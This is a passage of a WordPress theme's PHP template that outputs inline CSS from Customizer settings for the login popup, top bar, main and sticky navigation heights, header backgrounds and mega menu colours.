            #penci-login-popup .penci-login input[type="text"], #penci-login-popup .penci-login input[type="password"], #penci-login-popup .penci-login input[type="email"]{ color: <?php echo get_theme_mod( 'penci_tblgc_inputs' ); ?>; }
            #penci-login-popup .penci-login input[type="text"]::-webkit-input-placeholder, #penci-login-popup .penci-login input[type="password"]::-webkit-input-placeholder, #penci-login-popup .penci-login input[type="email"]::-webkit-input-placeholder{ color: <?php echo get_theme_mod( 'penci_tblgc_inputs' ); ?>; }
            #penci-login-popup .penci-login input[type="text"]::-ms-input-placeholder, #penci-login-popup .penci-login input[type="password"]::-ms-input-placeholder, #penci-login-popup .penci-login input[type="email"]::-ms-input-placeholder{ color: <?php echo get_theme_mod( 'penci_tblgc_inputs' ); ?>; }
            #penci-login-popup .penci-login input[type="text"]::placeholder, #penci-login-popup .penci-login input[type="password"]::placeholder, #penci-login-popup .penci-login input[type="email"]::placeholder{ color: <?php echo get_theme_mod( 'penci_tblgc_inputs' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tblgc_inputs_borders' ) ): ?>
            #penci-login-popup .penci-login input[type="text"], #penci-login-popup .penci-login input[type="password"], #penci-login-popup .penci-login input[type="email"]{ border-color: <?php echo get_theme_mod( 'penci_tblgc_inputs_borders' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tblgc_submit' ) ): ?>
            #penci-login-popup .penci-login input[type="submit"]{ color: <?php echo get_theme_mod( 'penci_tblgc_submit' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tblgc_hsubmit' ) ): ?>
            #penci-login-popup .penci-login input[type="submit"]:hover{ color: <?php echo get_theme_mod( 'penci_tblgc_hsubmit' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tblgc_submit_bg' ) ): ?>
            #penci-login-popup .penci-login input[type="submit"]{ background-color: <?php echo get_theme_mod( 'penci_tblgc_submit_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tblgc_submit_hbg' ) ): ?>
            #penci-login-popup .penci-login input[type="submit"]:hover{ background-color: <?php echo get_theme_mod( 'penci_tblgc_submit_hbg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tblgc_text' ) ): ?>
            #penci-login-popup, #penci-login-popup p:not(.message){ color: <?php echo get_theme_mod( 'penci_tblgc_text' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tblgc_links' ) ): ?>
            #penci-login-popup a, #penci-login-popup a:hover{ color: <?php echo get_theme_mod( 'penci_tblgc_links' ); ?>; }
		<?php endif; ?>

		<?php if ( get_theme_mod( 'penci_tbtext_mobile' ) ): ?>
            @media only screen and (max-width: 767px){ .penci-top-bar .pctopbar-item.penci-topbar-ctext { display: none; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_toppost_mobile' ) ): ?>
            @media only screen and (max-width: 767px){ .penci-top-bar .pctopbar-item.penci-topbar-trending { display: block; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tbmenu_mobile' ) ): ?>
            @media only screen and (max-width: 767px){ .penci-top-bar .pctopbar-item.penci-wtopbar-menu { display: none; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tbsocial_mobile' ) ): ?>
            @media only screen and (max-width: 767px){ .penci-top-bar .pctopbar-item.penci-topbar-social { display: none; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tblogin_titleupper' ) ): ?>
            .penci-lgpop-title{ text-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tblogin_submitupper' ) ): ?>
            #penci-login-popup .penci-login input[type="submit"]{ text-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_remove_border_bottom_header' ) ): ?>
            .header-header-1.has-bottom-line, .header-header-4.has-bottom-line, .header-header-7.has-bottom-line { border-bottom: none; }
		<?php endif; ?>
		<?php
		$header_bgcolor   = get_theme_mod( 'penci_header_background_color' );
		$header_bgimg     = get_theme_mod( 'penci_header_background_image' );
		$main_bar_bgcolor = get_theme_mod( 'penci_main_bar_bg' );
		$main_bar_bgimg   = '';

		$mainmenu_height        = get_theme_mod( 'penci_mainmenu_height' );
		$mainmenu_height_sticky = get_theme_mod( 'penci_mainmenu_height_sticky' );
		if ( $mainmenu_height && ! $mainmenu_height_sticky ) {
			$mainmenu_height_sticky = 60;
		}

		if ( is_page() ) {
			$pmeta_page_header = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );
			if ( isset( $pmeta_page_header['header_bgcolor'] ) && $pmeta_page_header['header_bgcolor'] ) {
				$header_bgcolor = $pmeta_page_header['header_bgcolor'];
			}
			if ( isset( $pmeta_page_header['header_bgimg'] ) && $pmeta_page_header['header_bgimg'] ) {
				$header_bgimg_meta = wp_get_attachment_url( intval( $pmeta_page_header['header_bgimg'] ) );
				if ( $header_bgimg_meta ) {
					$header_bgimg = $header_bgimg_meta;
				}
			}
			if ( isset( $pmeta_page_header['main_bar_bg'] ) && $pmeta_page_header['main_bar_bg'] ) {
				$main_bar_bgcolor = $pmeta_page_header['main_bar_bg'];
			}
			if ( isset( $pmeta_page_header['main_bar_bgimg'] ) && $pmeta_page_header['main_bar_bgimg'] ) {
				$main_bar_bgimg_meta = wp_get_attachment_url( intval( $pmeta_page_header['main_bar_bgimg'] ) );
				if ( $main_bar_bgimg_meta ) {
					$main_bar_bgimg = $main_bar_bgimg_meta;
				}
			}


			if ( isset( $pmeta_page_header['penci_mainmenu_height'] ) && $pmeta_page_header['penci_mainmenu_height'] ) {
				$mainmenu_height = $pmeta_page_header['penci_mainmenu_height'];
			}
			if ( isset( $pmeta_page_header['penci_mainmenu_height_sticky'] ) && $pmeta_page_header['penci_mainmenu_height_sticky'] ) {
				$mainmenu_height_sticky = $pmeta_page_header['penci_mainmenu_height_sticky'];
			}
		}

		if ( $mainmenu_height && $mainmenu_height > 29 ) {

			$fonts_lv1 = get_theme_mod( 'penci_font_size_lv1' ) ? get_theme_mod( 'penci_font_size_lv1' ) : 12;
			$fonts_lv1 = intval( $fonts_lv1 ) + 2;

			echo '@media only screen and (min-width: 961px){';
			echo '#navigation,.sticky-wrapper:not( .is-sticky ) #navigation, #navigation.sticky:not(.sticky-active){ height: ' . esc_attr( $mainmenu_height ) . 'px !important; }';
			echo '#navigation .menu > li > a,.main-nav-social,#navigation.sticky:not(.sticky-active) .menu > li > a, #navigation.sticky:not(.sticky-active) .main-nav-social, .sticky-wrapper:not( .is-sticky ) #navigation .menu>li>a,.sticky-wrapper:not( .is-sticky ) .main-nav-social{ line-height: ' . esc_attr( $mainmenu_height - 2 ) . 'px !important; height: ' . esc_attr( $mainmenu_height - 1 ) . 'px !important; }';
			echo '#navigation.sticky:not(.sticky-active) ul.menu > li > a:before, #navigation.sticky:not(.sticky-active) .menu > ul > li > a:before, .sticky-wrapper:not( .is-sticky ) #navigation ul.menu > li > a:before,.sticky-wrapper:not( .is-sticky ) #navigation .menu > ul > li > a:before{ bottom: calc( ' . esc_attr( $mainmenu_height ) . 'px/2 - ' . $fonts_lv1 . 'px ) !important; }';
			echo '#navigation .pc_dm_mode,.top-search-classes a.cart-contents, .pcheader-icon > a, #navigation.sticky:not(.sticky-active) .pcheader-icon > a,.sticky-wrapper:not( .is-sticky ) .pcheader-icon > a,#navigation #penci-header-bookmark > a{ height: ' . esc_attr( $mainmenu_height - 2 ) . 'px !important;line-height: ' . esc_attr( $mainmenu_height - 2 ) . 'px !important; }';
			echo '.penci-header-builder .pcheader-icon > a, .penci-header-builder .penci-menuhbg-toggle, .penci-header-builder .top-search-classes a.cart-contents, .penci-header-builder .top-search-classes > a{ height: auto !important; line-height: unset !important; }';
			echo '.pcheader-icon.shoping-cart-icon > a > span, #navigation.sticky:not(.sticky-active) .pcheader-icon.shoping-cart-icon > a > span, .sticky-wrapper:not( .is-sticky ) .pcheader-icon.shoping-cart-icon > a > span{ top: calc( ' . esc_attr( $mainmenu_height ) . 'px/2 - 18px ) !important; }';
			echo '.penci-menuhbg-toggle, .show-search, .show-search form.pc-searchform input.search-input, #navigation.sticky:not(.sticky-active) .penci-menuhbg-toggle, #navigation.sticky:not(.sticky-active) .show-search, #navigation.sticky:not(.sticky-active) .show-search form.pc-searchform input.search-input, .sticky-wrapper:not( .is-sticky ) #navigation .penci-menuhbg-toggle,.sticky-wrapper:not( .is-sticky ) #navigation .show-search:not( .pcbds-overlay ), .sticky-wrapper:not( .is-sticky ) .show-search form.pc-searchform input.search-input{ height: ' . esc_attr( $mainmenu_height - 2 ) . 'px !important; }';
			echo '#navigation.sticky:not(.sticky-active) .show-search a.close-search, .sticky-wrapper:not( .is-sticky ) .show-search a.close-search{ height: ' . esc_attr( $mainmenu_height ) . 'px !important;line-height: ' . esc_attr( $mainmenu_height ) . 'px !important; }';
			echo '#navigation #logo img, #navigation.sticky:not(.sticky-active).header-6 #logo img, #navigation.header-6 #logo img{ max-height: ' . esc_attr( $mainmenu_height ) . 'px; }';
			echo 'body.rtl #navigation.sticky:not(.sticky-active) ul.menu > li > .sub-menu, body.rtl #navigation.header-6.sticky:not(.sticky-active) ul.menu > li > .sub-menu, body.rtl #navigation.header-6.sticky:not(.sticky-active) .menu > ul > li > .sub-menu, body.rtl #navigation.header-10.sticky:not(.sticky-active) ul.menu > li > .sub-menu, body.rtl #navigation.header-10.sticky:not(.sticky-active) .menu > ul > li > .sub-menu, body.rtl #navigation.header-11.sticky:not(.sticky-active) ul.menu > li > .sub-menu, body.rtl #navigation.header-11.sticky:not(.sticky-active) .menu > ul > li > .sub-menu, body.rtl #navigation-sticky-wrapper:not(.is-sticky) #navigation ul.menu > li > .sub-menu, body.rtl #navigation-sticky-wrapper:not(.is-sticky) #navigation.header-6 ul.menu > li > .sub-menu, body.rtl #navigation-sticky-wrapper:not(.is-sticky) #navigation.header-6 .menu > ul > li > .sub-menu, body.rtl #navigation-sticky-wrapper:not(.is-sticky) #navigation.header-10 ul.menu > li > .sub-menu, body.rtl #navigation-sticky-wrapper:not(.is-sticky) #navigation.header-10 .menu > ul > li > .sub-menu, body.rtl #navigation-sticky-wrapper:not(.is-sticky) #navigation.header-11 ul.menu > li > .sub-menu, body.rtl #navigation-sticky-wrapper:not(.is-sticky) #navigation.header-11 .menu > ul > li > .sub-menu{ top: ' . ( $mainmenu_height - 1 ) . 'px; }';
			echo '#navigation.header-10.sticky:not(.sticky-active):not(.penci-logo-overflow) #logo img, #navigation.header-11.sticky:not(.sticky-active):not(.penci-logo-overflow) #logo img, .sticky-wrapper:not( .is-sticky ) #navigation.header-10:not( .penci-logo-overflow ) #logo img, .sticky-wrapper:not( .is-sticky ) #navigation.header-11:not( .penci-logo-overflow ) #logo img { max-height: ' . ( $mainmenu_height ) . 'px; }';

			$header_layout = penci_soledad_get_header_layout();
			if ( $header_layout ) {
				echo '.sticky-wrapper:not( .is-sticky ) #navigation.' . $header_layout . '.menu-item-padding,#navigation.' . $header_layout . '.menu-item-padding.sticky:not(.sticky-active)';
				echo '.sticky-wrapper:not( .is-sticky ) #navigation.' . $header_layout . '.menu-item-padding ul.menu > li > a, #navigation.' . $header_layout . '.menu-item-padding.sticky:not(.sticky-active) ul.menu > li > a{ height: ' . esc_attr( $mainmenu_height ) . 'px; }';
			}

			echo '}';
		}
		if ( $mainmenu_height_sticky && $mainmenu_height_sticky > 29 ) {
			$fonts_lv1 = get_theme_mod( 'penci_font_size_lv1' ) ? get_theme_mod( 'penci_font_size_lv1' ) : 12;
			$fonts_lv1 = intval( $fonts_lv1 ) + 2;

			echo '@media only screen and (min-width: 961px){';
			echo '.sticky-wrapper.is-sticky #navigation, .is-sticky #navigation.menu-item-padding,.is-sticky #navigation.menu-item-padding, #navigation.sticky-active,#navigation.sticky-active.menu-item-padding,#navigation.sticky-active.menu-item-padding{  height: ' . esc_attr( $mainmenu_height_sticky ) . 'px !important; }';

			echo '.sticky-wrapper.is-sticky #navigation .menu>li>a,.sticky-wrapper.is-sticky .main-nav-social, #navigation.sticky-active .menu > li > a, #navigation.sticky-active .main-nav-social{ line-height: ' . esc_attr( $mainmenu_height_sticky - 2 ) . 'px !important; height: ' . esc_attr( $mainmenu_height_sticky - 2 ) . 'px !important; }';
			echo '#navigation.sticky-active.header-10.menu-item-padding ul.menu > li > a, .is-sticky #navigation.header-10.menu-item-padding ul.menu > li > a,';
			echo '#navigation.sticky-active.header-11.menu-item-padding ul.menu > li > a, .is-sticky #navigation.header-11.menu-item-padding ul.menu > li > a,';
			echo '#navigation.sticky-active.header-1.menu-item-padding ul.menu > li > a, .is-sticky #navigation.header-1.menu-item-padding ul.menu > li > a,';
			echo '#navigation.sticky-active.header-4.menu-item-padding ul.menu > li > a, .is-sticky #navigation.header-4.menu-item-padding ul.menu > li > a,';
			echo '#navigation.sticky-active.header-7.menu-item-padding ul.menu > li > a, .is-sticky #navigation.header-7.menu-item-padding ul.menu > li > a,';
			echo '#navigation.sticky-active.header-6.menu-item-padding ul.menu > li > a, .is-sticky #navigation.header-6.menu-item-padding ul.menu > li > a,';
			echo '#navigation.sticky-active.header-9.menu-item-padding ul.menu > li > a, .is-sticky #navigation.header-9.menu-item-padding ul.menu > li > a,';
			echo '#navigation.sticky-active.header-2.menu-item-padding ul.menu > li > a, .is-sticky #navigation.header-2.menu-item-padding ul.menu > li > a,';
			echo '#navigation.sticky-active.header-3.menu-item-padding ul.menu > li > a, .is-sticky #navigation.header-3.menu-item-padding ul.menu > li > a,';
			echo '#navigation.sticky-active.header-5.menu-item-padding ul.menu > li > a, .is-sticky #navigation.header-5.menu-item-padding ul.menu > li > a,';
			echo '#navigation.sticky-active.header-8.menu-item-padding ul.menu > li > a, .is-sticky #navigation.header-8.menu-item-padding ul.menu > li > a{ height: ' . esc_attr( $mainmenu_height_sticky ) . 'px !important; line-height: ' . esc_attr( $mainmenu_height_sticky ) . 'px !important; }';

			echo '.is-sticky .top-search-classes a.cart-contents, .is-sticky #navigation #penci-header-bookmark > a, #navigation.sticky-active .main-nav-social, #navigation.sticky-active .pcheader-icon > a, .is-sticky .main-nav-social,.is-sticky .pcheader-icon > a,';
			echo '#navigation.sticky-active .penci-menuhbg-toggle, .sticky-wrapper.is-sticky #navigation .penci-menuhbg-toggle,';
			echo '#navigation.sticky-active .show-search, #navigation.sticky-active .show-search form.pc-searchform input.search-input, .sticky-wrapper.is-sticky .show-search, .sticky-wrapper.is-sticky .show-search form.pc-searchform input.search-input,';
			echo '.sticky-wrapper.is-sticky #navigation .pc_dm_mode, #navigation.sticky-active .show-search a.close-search, .sticky-wrapper.is-sticky .show-search a.close-search{ height: ' . esc_attr( $mainmenu_height_sticky - 2 ) . 'px !important; line-height: ' . esc_attr( $mainmenu_height_sticky - 2 ) . 'px !important; }';

			echo '#navigation.sticky-active.header-6 #logo img, .is-sticky #navigation.header-6 #logo img{ max-height: ' . esc_attr( $mainmenu_height_sticky ) . 'px; }';

			echo '#navigation.sticky-active .pcheader-icon.shoping-cart-icon > a > span, .sticky-wrapper.is-sticky .pcheader-icon.shoping-cart-icon > a > span{ top: calc( ' . esc_attr( $mainmenu_height_sticky ) . 'px/2 - 18px ) !important; }';

			echo '#navigation.sticky-active ul.menu > li > a:before, #navigation.sticky-active .menu > ul > li > a:before, .sticky-wrapper.is-sticky #navigation ul.menu > li > a:before, .sticky-wrapper.is-sticky #navigation .menu > ul > li > a:before{ bottom: calc( ' . esc_attr( $mainmenu_height_sticky ) . 'px/2 - ' . $fonts_lv1 . 'px ) !important; }';

			echo 'body.rtl #navigation.sticky-active ul.menu > li > .sub-menu, body.rtl #navigation-sticky-wrapper.is-sticky #navigation ul.menu > li > .sub-menu,';
			echo 'body.rtl #navigation.sticky-active.header-6 ul.menu > li > .sub-menu, body.rtl #navigation-sticky-wrapper.is-sticky #navigation.header-6 ul.menu > li > .sub-menu,';
			echo 'body.rtl #navigation.sticky-active.header-6 .menu > ul > li > .sub-menu, body.rtl #navigation-sticky-wrapper.is-sticky #navigation.header-6 .menu > ul > li > .sub-menu,';
			echo 'body.rtl #navigation.sticky-active.header-10 ul.menu > li > .sub-menu, body.rtl #navigation-sticky-wrapper.is-sticky #navigation.header-10 ul.menu > li > .sub-menu,';
			echo 'body.rtl #navigation.sticky-active.header-10 .menu > ul > li > .sub-menu, body.rtl #navigation-sticky-wrapper.is-sticky #navigation.header-10 .menu > ul > li > .sub-menu,';
			echo 'body.rtl #navigation.sticky-active.header-11 ul.menu > li > .sub-menu, body.rtl #navigation-sticky-wrapper.is-sticky #navigation.header-11 ul.menu > li > .sub-menu,';
			echo 'body.rtl #navigation.sticky-active.header-11 .menu > ul > li > .sub-menu, body.rtl #navigation-sticky-wrapper.is-sticky #navigation.header-11 .menu > ul > li > .sub-menu{ top: ' . ( $mainmenu_height_sticky - 1 ) . 'px; }';

			echo '#navigation.sticky-active.header-10:not(.penci-logo-overflow) #logo img, #navigation.sticky-active.header-11:not(.penci-logo-overflow) #logo img, .is-sticky #navigation.header-10:not( .penci-logo-overflow ) #logo img, .is-sticky #navigation.header-11:not( .penci-logo-overflow ) #logo img { max-height: ' . ( $mainmenu_height_sticky ) . 'px; }';
			echo '}';
		}
		?>
		<?php if ( get_theme_mod( 'penci_mainmenu_height_mobile' ) && 30 < get_theme_mod( 'penci_mainmenu_height_mobile' ) ):
			$mmbheight = get_theme_mod( 'penci_mainmenu_height_mobile' );
			?>
            @media only screen and (max-width: 960px){
            #navigation, .show-search a.close-search{ height: <?php echo $mmbheight; ?>px !important; }
            #navigation .button-menu-mobile, .show-search a.close-search{ line-height: <?php echo $mmbheight; ?>px !important; }
            #navigation .pc_dm_mode, .top-search-classes a.cart-contents, #navigation #penci-header-bookmark > a, .pcheader-icon > a, .show-search, .show-search form.pc-searchform input.search-input, .penci-menuhbg-toggle{ height: <?php echo( $mmbheight - 2 ); ?>px !important; }
            #navigation .pc_dm_mode, .top-search-classes a.cart-contents, #navigation #penci-header-bookmark > a, .pcheader-icon > a, .main-nav-social{ line-height: <?php echo( $mmbheight - 2 ); ?>px !important; }
            .penci-mobile-hlogo img, #navigation.header-6 #logo img{ max-height: <?php echo $mmbheight; ?>px !important; }
            }
		<?php endif; ?>
		<?php if ( $header_bgcolor ): ?>
            #header .inner-header { background-color: <?php echo $header_bgcolor; ?>; background-image: none; }
		<?php endif; ?>
		<?php if ( $header_bgimg ): ?>
            #header .inner-header { background-image: url('<?php echo $header_bgimg; ?>'); }
		<?php endif; ?>
		<?php if ( $main_bar_bgcolor ): ?>
            #navigation, .show-search { background: <?php echo $main_bar_bgcolor; ?>; }
            @media only screen and (min-width: 960px){ #navigation.header-11 > .container { background: <?php echo $main_bar_bgcolor; ?>; }}
		<?php endif; ?>
		<?php if ( $main_bar_bgimg ): ?>
            #navigation, .show-search { background-image: url('<?php echo $main_bar_bgimg; ?>'); }
            @media only screen and (min-width: 960px){ #navigation.header-11 > .container { background-image: url('<?php echo $main_bar_bgimg; ?>'); }}
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_header_remove_line_hover' ) ): ?>
            #navigation ul.menu > li > a:before, #navigation .menu > ul > li > a:before{ content: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_header_remove_line_slogan' ) ): ?>
            .header-slogan .header-slogan-text:before, .header-slogan .header-slogan-text:after{ content: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_main_bar_border_color' ) ): ?>
			.navigation, .navigation.header-layout-bottom,
            #navigation, #navigation.header-layout-bottom { border-color: <?php echo get_theme_mod( 'penci_main_bar_border_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_main_bar_nav_color' ) ): ?>
			.navigation .menu > li > a, .navigation .menu .sub-menu li a,
            #navigation .menu > li > a, #navigation .menu .sub-menu li a { color:  <?php echo get_theme_mod( 'penci_main_bar_nav_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_main_bar_color_active' ) ): ?>
			.navigation .menu > li > a:hover, .navigation .menu li.current-menu-item > a, .navigation .menu > li.current_page_item > a, .navigation .menu > li:hover > a, .navigation .menu > li.current-menu-ancestor > a, .navigation .menu > li.current-menu-item > a, .navigation .menu .sub-menu li a:hover, .navigation .menu .sub-menu li.current-menu-item > a, .navigation .sub-menu li:hover > a,
            #navigation .menu > li > a:hover, #navigation .menu li.current-menu-item > a, #navigation .menu > li.current_page_item > a, #navigation .menu > li:hover > a, #navigation .menu > li.current-menu-ancestor > a, #navigation .menu > li.current-menu-item > a, #navigation .menu .sub-menu li a:hover, #navigation .menu .sub-menu li.current-menu-item > a, #navigation .sub-menu li:hover > a { color:  <?php echo get_theme_mod( 'penci_main_bar_color_active' ); ?>; }
            .navigation ul.menu > li > a:before, .navigation .menu > ul > li > a:before,
            #navigation ul.menu > li > a:before, #navigation .menu > ul > li > a:before { background: <?php echo get_theme_mod( 'penci_main_bar_color_active' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_main_bar_padding_color' ) ): ?>
			.navigation.menu-item-padding .menu > li > a:hover, .navigation.menu-item-padding .menu > li:hover > a, .navigation.menu-item-padding .menu > li.current-menu-item > a, .navigation.menu-item-padding .menu > li.current_page_item > a, .navigation.menu-item-padding .menu > li.current-menu-ancestor > a, .navigation.menu-item-padding .menu > li.current-menu-item > a,
            #navigation.menu-item-padding .menu > li > a:hover, #navigation.menu-item-padding .menu > li:hover > a, #navigation.menu-item-padding .menu > li.current-menu-item > a, #navigation.menu-item-padding .menu > li.current_page_item > a, #navigation.menu-item-padding .menu > li.current-menu-ancestor > a, #navigation.menu-item-padding .menu > li.current-menu-item > a { background-color:  <?php echo get_theme_mod( 'penci_main_bar_padding_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_drop_bg_color' ) ): ?>
            #navigation.menu-style-3 .menu .sub-menu:after, .navigation.menu-style-3 .menu .sub-menu:after { border-bottom-color: <?php echo get_theme_mod( 'penci_drop_bg_color' ); ?>; }
            #navigation.menu-style-3 .menu .sub-menu .sub-menu:after,.navigation.menu-style-3 .menu .sub-menu .sub-menu:after { border-right-color:  <?php echo get_theme_mod( 'penci_drop_bg_color' ); ?>; }
            #navigation .menu .sub-menu, #navigation .menu .children, #navigation ul.menu > li.megamenu > ul.sub-menu { background-color:  <?php echo get_theme_mod( 'penci_drop_bg_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_drop_items_border' ) ): ?>
			.navigation .menu .sub-menu, #navigation .menu .children, .navigation ul.menu ul.sub-menu li > a, .navigation .menu ul ul.sub-menu li a, .navigation.menu-style-2 .menu .sub-menu, .navigation.menu-style-2 .menu .children,
            #navigation .menu .sub-menu, #navigation .menu .children, #navigation ul.menu ul.sub-menu li > a, #navigation .menu ul ul.sub-menu li a, #navigation.menu-style-2 .menu .sub-menu, #navigation.menu-style-2 .menu .children { border-color:  <?php echo get_theme_mod( 'penci_drop_items_border' ); ?>; }
            .navigation .penci-megamenu .penci-mega-child-categories a.cat-active,
            #navigation .penci-megamenu .penci-mega-child-categories a.cat-active { border-top-color: <?php echo get_theme_mod( 'penci_drop_items_border' ); ?>; border-bottom-color: <?php echo get_theme_mod( 'penci_drop_items_border' ); ?>; }
            .navigation ul.menu > li.megamenu > ul.sub-menu > li:before, .navigation .penci-megamenu .penci-mega-child-categories:after,
            #navigation ul.menu > li.megamenu > ul.sub-menu > li:before, #navigation .penci-megamenu .penci-mega-child-categories:after { background-color: <?php echo get_theme_mod( 'penci_drop_items_border' ); ?>; }
            #navigation.menu-style-3 .menu .sub-menu,
            .navigation.menu-style-3 .menu .sub-menu,
            .navigation.menu-style-3 .menu .penci-dropdown-menu,
            #navigation.menu-style-3 .menu .children,
            #navigation.menu-style-3 .menu .penci-dropdown-menu,
            .navigation.menu-style-3 .menu .children, .penci-dropdown-menu{ border-color: <?php echo get_theme_mod( 'penci_drop_items_border' ); ?>; }
            #navigation.menu-style-3 .menu .sub-menu:before,
            .navigation.menu-style-3 .menu .sub-menu:before{ border-bottom-color: <?php echo get_theme_mod( 'penci_drop_items_border' ); ?>; }
            #navigation.menu-style-3 .menu .sub-menu .sub-menu:before,
            .navigation.menu-style-3 .menu .sub-menu .sub-menu:before{ border-right-color: <?php echo get_theme_mod( 'penci_drop_items_border' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_mega_bg_color' ) ): ?>
			.navigation .penci-megamenu, #navigation .penci-megamenu .penci-mega-child-categories a.cat-active,
            .navigation .penci-megamenu .penci-mega-child-categories a.cat-active:before,
            #navigation .penci-megamenu, #navigation .penci-megamenu .penci-mega-child-categories a.cat-active,
            #navigation .penci-megamenu .penci-mega-child-categories a.cat-active:before { background-color: <?php echo get_theme_mod( 'penci_mega_bg_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_mega_child_cat_bg_color' ) ): ?>
			.navigation .penci-megamenu .penci-mega-child-categories, .navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a.cat-active,
            #navigation .penci-megamenu .penci-mega-child-categories, #navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a.cat-active { background-color: <?php echo get_theme_mod( 'penci_mega_child_cat_bg_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_mega_post_date_color' ) ): ?>
			.navigation .penci-megamenu .pcmis-2 .penci-mega-date,
            .navigation .penci-megamenu .penci-mega-date, .navigation .penci-megamenu .pcmis-2 .penci-mega-date,
			#navigation .penci-megamenu .pcmis-2 .penci-mega-date,
            #navigation .penci-megamenu .penci-mega-date, #navigation .penci-megamenu .pcmis-2 .penci-mega-date { color: <?php echo get_theme_mod( 'penci_mega_post_date_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_mega_post_date_color_25' ) ): ?>
			.navigation .penci-megamenu .penci-content-megamenu.pcmis-2 .penci-mega-post .penci-mega-date,
			#navigation .penci-megamenu .penci-content-megamenu.pcmis-2 .penci-mega-post .penci-mega-date,
			.navigation .penci-megamenu .pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(5n+1) .penci-mega-date,
			#navigation .penci-megamenu .pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(5n+1) .penci-mega-date { color: <?php echo get_theme_mod( 'penci_mega_post_date_color_25' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_mega_border_style2' ) ): ?>
			.navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories:after, .navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a.all-style:before, .menu-style-2 .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post:before,
            #navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories:after, #navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a.all-style:before, .menu-style-2 .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post:before{ background-color: <?php echo get_theme_mod( 'penci_mega_border_style2' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_mega_title_color' ) ): ?>
			.navigation .menu .sub-menu li .post-mega-title a,
            #navigation .menu .sub-menu li .post-mega-title a { color:  <?php echo get_theme_mod( 'penci_mega_title_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_mega_title_color_25' ) ): ?>
			#navigation .menu ul.sub-menu li .pcmis-2 .penci-mega-post a:not(:hover),
			.navigation .menu ul.sub-menu li .pcmis-2 .penci-mega-post a:not(:hover),
			.navigation .menu ul.sub-menu li .pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(5n+1) a:not(:hover),
			#navigation .menu ul.sub-menu li .pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(5n+1) a:not(:hover){ color: <?php echo get_theme_mod( 'penci_mega_title_color_25' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_mega_post_category_color' ) ): ?>
			.navigation .penci-megamenu .penci-mega-thumbnail .mega-cat-name,
            #navigation .penci-megamenu .penci-mega-thumbnail .mega-cat-name { color: <?php echo get_theme_mod( 'penci_mega_post_category_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_mega_accent_color' ) ): ?>
			.navigation .menu ul.sub-menu li .pcmis-2 .penci-mega-post a:hover,
            .navigation .penci-megamenu .penci-mega-child-categories a.cat-active, .navigation .menu .penci-megamenu .penci-mega-child-categories a:hover, .navigation .menu .penci-megamenu .penci-mega-latest-posts .penci-mega-post a:hover,
			#navigation .menu ul.sub-menu li .pcmis-2 .penci-mega-post a:hover,
            #navigation .penci-megamenu .penci-mega-child-categories a.cat-active, #navigation .menu .penci-megamenu .penci-mega-child-categories a:hover, #navigation .menu .penci-megamenu .penci-mega-latest-posts .penci-mega-post a:hover { color: <?php echo get_theme_mod( 'penci_mega_accent_color' ); ?>; }
            #navigation .penci-megamenu .penci-mega-thumbnail .mega-cat-name { background: <?php echo get_theme_mod( 'penci_mega_accent_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_size_header_social_check' ) ): ?>
            .header-social a i, .main-nav-social a { font-size: <?php echo get_theme_mod( 'penci_size_header_social_check' ); ?>px; }
            .header-social a svg, .main-nav-social a svg{ width: <?php echo get_theme_mod( 'penci_size_header_social_check' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'size_header_search_icon_check' ) ): ?>
            .pcheader-icon .search-click{ font-size: <?php echo get_theme_mod( 'size_header_search_icon_check' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'size_header_search_input' ) ): ?>
